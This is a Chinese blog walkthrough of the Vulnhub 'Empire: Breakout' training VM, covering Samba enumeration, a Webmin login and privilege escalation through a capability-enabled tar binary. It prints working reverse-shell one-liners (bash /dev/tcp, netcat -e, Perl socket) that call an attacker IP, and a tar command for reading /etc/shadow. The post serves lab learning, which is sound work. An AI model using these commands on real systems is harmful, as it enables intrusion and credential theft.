首页 > 其他分享 >Vulnhub-Empire Breakout

Vulnhub-Empire Breakout

时间:2024-07-26 09:06:54浏览次数:6  
标签:文件 tar 端口 Breakout Vulnhub 使用 Empire 权限 bash

简介

  • 名称:Vulnhub-Empire: Breakout
  • 发布日期:2021 年 10 月 21 日
  • 难度:容易
  • 描述:这个盒子被创建为一个简单盒子,但如果你迷路了,它可以是中等的。
  • 下载地址https://www.vulnhub.com/entry/empire-breakout,751/
  • kali攻击机ip:192.168.1.4
  • 靶机地址:192.168.1.33

渗透流程

信息收集

arp-scan

IP:192.168.88.33

image-20240712210245607

nmap

image-20240712210630199

  1. 80/tcp - 开放的HTTP 此端口用于未加密的网页传输。当网站或网络服务器监听此端口时,它可以使用超文本传输协议(HTTP)提供网页。此端口在Web服务器上开放很常见。
  2. 139/tcp - 开放的NetBIOS会话服务 端口139通常被微软Windows网络用于文件和打印机共享。此端口还用于其他目的,如浏览网络和远程管理。
  3. 445/tcp - 开放的Microsoft-DS 这是另一个与Windows环境中文件和打印机共享相关的端口。Microsoft-DS服务提供了对服务器消息块(SMB)协议的访问,该协议用于共享文件、打印机和其他资源。
  4. 10000/tcp - 开放的Snet传感器管理 此端口可能被特定软件或硬件系统用于传感器管理。例如,它可能被工业控制系统或安全系统用来远程管理传感器。
  5. 20000/tcp - 开放的DNP 代表分布式网络协议,主要在工业自动化和控制系统中使用。DNP允许设备在网络中通信,实现数据采集和控制操作。

网页信息

80端口

192.168.1.33:80

image-20240712211340092

F12查看源码发现提示
猜测是brainfuck加密
brainfuck解密过后是:.2uqPEfj3D<P'a-3

image-20240717111210186

image-20240717111435411

10000端口

192.168.1.33:10000

image-20240714221738351

20000端口

192.168.1.33:20000

image-20240714221756244

139/445端口

端口渗透剖析

139端口是为‘NetBIOS SessionService’提供的,主要用于提供windows文件和打印机共享以及UNIX中的Samba服务。445端口也用于提供windows文件和打印机共享,在内网环境中使用的很广泛。这两个端口同样属于重点攻击对象,139/445端口曾出现过许多严重级别的漏洞。下面剖析渗透此类端口的基本思路。

(1)对于开放139/445端口的主机,一般尝试利用溢出漏洞对远程主机进行溢出攻击,成功后直接获得系统权限。利用msf的ms-017永恒之蓝。(https://blog.csdn.net/qq_41880069/article/details/82908131)
(2)对于攻击只开放445端口的主机,黑客一般使用工具‘MS06040’或‘MS08067’.可使用专用的445端口扫描器进行扫描。NS08067溢出工具对windows2003系统的溢出十分有效,工具基本使用参数在cmd下会有提示。(https://blog.csdn.net/god_7z1/article/details/6773652)
(3)对于开放139/445端口的主机,黑客一般使用IPC$进行渗透。在没有使用特点的账户和密码进行空连接时,权限是最小的。获得系统特定账户和密码成为提升权限的关键了,比如获得administrator账户的口令。(https://blog.warhut.cn/dmbj/145.html)
(4)对于开放139/445端口的主机,可利用共享获取敏感信息,这也是内网渗透中收集信息的基本途径。

目标服务器装了Samba,因此尝试用Enum4linux工具枚举获得用户名

enum4linux介绍

这是github上的一个工具,下载地址点此进入,安装这里就不多讲了,因为kali系统上会预安装这个工具,我们直接使用kali上的就行

 -U 	                            获取用户列表
 -M	                                获取机器列表
 -S	                                获取共享列表
 -P	                              获取密码策略信息
 -G	                               获取组和成员列表
 -d	                             详述,适用于-U和-S
 -u	                user 用户指定要使用的用户名(默认为空)
 -p	                        指定要使用的密码(默认为空)

接着是一些官方附加的选项命令,如下

   选项	                                        功能
   -a 	做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项
   -h 	                     显示此帮助消息并退出
   -r 	                       通过RID循环枚举用户
   -R 	RID范围要枚举(默认值:500-550,1000-1050,隐含-r)
   -K 	指定不对应次数n。继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用
   -l 	通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
   -s 	文件暴力猜测共享名称
   -k 	user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)
   -o 	获取操作系统信息
   -i 	获取打印机信息
   -w 	手动指定工作组(通常自动找到)
   -n	做一个nmblookup(类似于nbtstat)
   -v	详细输出,显示正在运行的完整命令(net,rpcclient等)
enum4linux -a 192.168.164.192

image-20240717112514656

枚举得到用户名:cyber,然后使用这个用户名和之前得到的密码尝试登录Webmin,发现可以登进20000端口的网站

反弹shell

发现在左下角可以运行shell,查看id。在这里可以反弹一个交互式shell到攻击机上。

img

image-20240717122253483

第一个flag——3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

bash命令反弹shell——命令转到kali执行

攻击机开启本地监听:

netcat -lvvp 2333

目标机主动连接攻击机:

方法一:bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
方法二:bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
方法三:netcat 47.xxx.xxx.72 2333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

image-20240717123258774

我使用了netcat的反弹shell,想要升级会话——python -c 'import pty;pty.spawn("/bin/bash")'

但是靶机没有安装python模块

image-20240717125135384

解决方法:

1.使用Bash直接创建一个伪终端

可以使用bash自身的功能来创建一个伪终端。这种方法不需要Python或任何额外的模块。以下是一个示例命令:

bash -i >& /dev/tcp/your.attacker.ip/your.port 0>&1

但是,这个命令通常只能提供一个基本的shell,不包含所有交互式特性。要得到一个更完整的交互式会话,你可以尝试以下命令:

bash -i < /dev/tty > /dev/tty 2>&1 & disown

这将读取和写入标准输入/输出到/dev/tty,从而提供更多的终端功能。然而,这种方法仍然可能缺乏一些更高级的功能,如复制粘贴和命令历史。

2.使用Perl或Bash创建一个更复杂的shell

如果你的目标系统有Perl,可以使用以下命令创建一个伪终端:

perl -e 'use Socket;$i="your.attacker.ip";$p=your.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

这将使用Perl建立一个与攻击者IP和端口的连接,并执行一个交互式的sh会话。

如果没有Perl,你也可以尝试使用bashexec命令结合nc(netcat)或ncat(nmap的一部分)来创建一个更强大的shell:

/bin/bash -c '/bin/bash -i >& /dev/tcp/your.attacker.ip/your.port 0>&1'

或者,如果你有ncat,可以使用以下命令:

/bin/bash -c '/bin/bash -i | nc -e /bin/bash your.attacker.ip your.port'

3.使用其他工具

如果目标机器上有zshksh等其他shell,你可以尝试使用它们提供的类似功能。

4.安装必要的软件

最后,如果可能的话,你可以在目标机器上安装所需的软件包(如tmuxscreen或Python)。这可能需要管理员权限,但将提供最完整的解决方案。

我选择改为bash的模式——无需升级会话

bash -i >& /dev/tcp/192.168.xx.xx/your port 0>&1

image-20240717125808411

权限提升

ls发现当前目录有一个tar和user.txt文件(存放flag),那么肯定要从tar文件入手。那要如何分析一个不知名文件呢?

下面列举了一些常用的命令及其用途:

  1. ls (list)

    • 列出目录中的文件和子目录。

    • 使用示例:

      ls -l      # 以长格式显示文件和目录信息
      ls -a      # 显示包括隐藏文件(以点开始的文件)在内的所有文件和目录
      
  2. pwd (print working directory)

    • 显示当前工作目录的完整路径。
  3. cd (change directory)

    • 改变当前工作目录。

    • 使用示例:

      cd /path/to/directory    # 进入指定目录
      cd ..                    # 返回上级目录
      cd ~                     # 回到用户的家目录
      
  4. cat, less, more

    • 查看文件内容。

    • 使用示例:

      cat  filename          # 显示整个文件的内容
      less filename         # 分页显示文件内容,支持上下翻页
      more filename         # 类似于less,但功能较少
      
  5. head, tail

    • 分别查看文件的前几行或后几行。

    • 使用示例:

      head -n 10 filename    # 查看文件的前10行
      tail -n 10 filename    # 查看文件的最后10行
      
  6. stat

    • 显示文件或文件系统的详细状态信息,如文件大小、权限、拥有者、组、修改时间等。

    • 使用示例:

      stat filename
      
  7. du (disk usage)

    • 报告每个文件和目录占用的磁盘空间。

    • 使用示例:

      du -sh filename        # 以人类可读的格式显示单个文件的大小
      du -sh *               # 显示当前目录下所有文件的大小总和
      
  8. lsattr

    • 显示文件的扩展属性。

    • 使用示例:

      lsattr filename
      
  9. file

    • 确定文件的类型。

    • 使用示例:

      file filename
      
  10. getcap

    • 是一个用于查询 Linux 系统中进程或文件所具有的 capabilities(权限位)的命令行工具。capabilities 是 Linux 内核的一种安全机制,它允许以更细粒度的方式控制进程的权限,而不仅仅是传统的 root/suid 权限。

    • 使用示例:

      getcap  filename    # 查找符合特定模式的文件
      
  11. find

    • 在目录树中查找文件。

    • 使用示例:

      find /path -name "pattern"    # 查找符合特定模式的文件
      

这些命令可以帮助你更好地管理和理解Linux系统中的文件和目录结构。如果你需要更详细的帮助,可以在命令后面加上 --help 或查阅该命令的手册页 (man 命令名)。

image

getcap命令执行后发现返回——tar cap_dac_read_search=ep

cap_dac_read_search=ep 是 Linux capabilities(权限位)中的一种,当这个 capability 被赋予给某个可执行文件(如 tar 命令)时,它允许该程序绕过默认的访问控制限制,即使对于那些通常不允许读取或搜索的文件和目录也能够访问。

cap_dac_read_search=ep 包含以下几个部分:

  • cap_dac_read_search:这是一个 capability 名称,表示“数据访问控制(DAC)读取和搜索”。它允许程序读取和搜索文件及目录,无视 DAC 设置。
  • e:表示 “effective”,意味着当进程运行时,这个 capability 是有效的并正在使用。
  • p:表示 “permitted”,意味着进程具有这个 capability 的权限,可以将其变为有效状态。

当你看到 tar cap_dac_read_search=ep 这样的表述,它意味着 tar 命令已经被赋予了 cap_dac_read_search 的 capability,并且这个 capability 当前是有效的和允许的。

这种 capability 可以用于一些特殊的场景,比如在受限的环境中,tar 可以用来提取或打包那些普通用户没有权限访问的文件。

例如,如果 tar 拥有 cap_dac_read_search=ep,则可以使用如下命令来打包 /etc/shadow 文件,即使当前用户没有权限读取这个文件:

tar czf shadow.tar.gz /etc/shadow

由于 tar 具有 cap_dac_read_search,所以它能够读取 /etc/shadow 并将其打包到 .tar.gz 文件中,而不会受到常规权限的限制。然后,可以将这个文件传输到其他地方进行分析。

后来发现在/var/backups/目录下有一个.old_pass.bak文件,但没有读取权限,刚好可以用tar读取

该bak文件存放的是root密码

image-20240717132819363

cd  #返回根目录
./tar -cvf pass.tar /var/backups/.old_pass.bak #创建pass.tar,将old源文件复制进去
tar -xvf pass.tar     #执行pass.tar
cat var/backups/.old_pass.bak    #现在可读取

image-20240717134139062

获得root密码:Ts&4&YurgtRX(=~h

登录root

image-20240717135454259

3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

两个flag已找到

总结

这次的靶机收获如下:

1.找登录网页的账号和密码,账号的寻找结合了ctf的misc知识,密码的寻找要从139/445端口入手,寻找合适的工具收集信息

2.权限提升这一块了解了未知文件要用什么命令分析,以及可执行文件对普通文件权限提升的流程

标签:文件,tar,端口,Breakout,Vulnhub,使用,Empire,权限,bash
From: https://www.cnblogs.com/yanke-wolf/p/18307192

相关文章

  • vulnhub DC-7
    探测局域网内存活主机nmap-sP192.168.19.128/24发现存活主机192.168.19.134,扫描其开放端口nmap-p-192.168.19.134结果如下22/tcpopenssh80/tcpopenhttp访问80端口渗透现用whatweb扫描看一下是什么whatweb-v192.168.19.134发现使用的是Drupal开源CMS框......
  • VulnHub:cengbox1
    靶机下载地址,下载完成后,用VirtualBox打开靶机并修改网络为桥接即可搭建成功。信息收集主机发现和端口扫描扫描攻击机(192.168.31.218)同网段存活主机确认目标机ip,并对目标机进行全面扫描。nmap192.168.31.0/24-Pn-T4nmap目标主机ip-A-p--T4确认目标机ip为192.168.31......
  • 『vulnhub系列』FUNBOX LUNCHBREAKER
    『vulnhub系列』FUNBOX:LUNCHBREAKER下载地址:https://www.vulnhub.com/entry/funbox-lunchbreaker,700/信息搜集:寻找内网存活主机nmap192.168.199.*访问80端口,只发现一张图片进行目录爆破,发现/robots.txtdirsearch-u"http://192.168.199.134/"访问/robots.txt......
  • vulnhub DC-5
    信息搜集扫描局域网存活主机nmap-sP192.168.19.128/24发现存在主机192.168.19.132,接下来探测开放端口nmap-p-192.168.19.132发现存在如下三个开放端口80/tcpopenhttp111/tcpopenrpcbind50742/tcpopenunknown这里简单的了解一下什么是rpc和rpcbind.......
  • vulnhub DC-3
    信息搜集探测局域网内存活主机nmap-sP192.168.19.128/24得到192.168.19.130,然后扫描探测开放的端口nmap-p-192.168.19.130发现只有80端口开放,我们在浏览器中访问渗透按照上面的提示我们需要进行登录,提权等一系列操作.先用whatweb进行一下扫描whatweb-v192.16......
  • vulnhub DC-4
    信息搜集探测局域网存活主机nmap-sP192.168.19.128/24发现存在192.168.19.131,接着扫描端口nmap-p-192.168.19.131发现存在22端口提供ssh服务和80端口渗透在浏览器访问80端口发现是一个登录页面.尝试对admin用户进行弱密码爆破我们爆出了相当多的密码都能够进行登录......
  • vulnhub DC-2
    信息收集首先我们先使用nmap来扫描探测局域网内存货的靶机nmap-sP192.168.19.128/24发现局域网内存在192.168.19.129,接着扫描开放的端口nmap-p-192.168.19.129得到如下两个端口80/tcpopenhttp7744/tcpopenraqmon-pdu我们尝试访问192.168.19.129:80,发现跳......
  • VulnHub-TR0LL: 1靶场实操
    TR0LL:1靶场实操靶场信息下载后使用vm打开即可TR0LL1靶场地址:https://www.vulnhub.com/entry/tr0ll-1,100/靶场创建时间:2014年8月14日靶场描述:Tr0ll的灵感来自于OSCP实验室内对机器的不断拖钓。目标很简单,获取root权限并从/root目录获取Proof.txt。不适合容易沮丧......
  • VulnHub:CK00
    靶场搭建靶机下载地址:CK:00~VulnHub下载后,在vmware中打开靶机。修改网络配置为NAT处理器修改为2启动靶机靶机ip扫描不到的解决办法靶机开机时一直按shift或者esc直到进入GRUB界面。按e进入编辑模式,找到ro,修改为如下内容。ctrl+x重启服务。rwsignieinit=/......
  • Vulnhub靶场 | DC系列 - DC1
    https://www.vulnhub.com/series/dc,199/环境搭建靶机镜像下载地址:https://www.vulnhub.com/entry/dc-1,292/;需要将靶机和kali攻击机放在同一个局域网里;本实验kali的IP地址:192.168.10.146。渗透测试1.信息收集使用nmap扫描192.168.10.0/24网段存活主机┌─......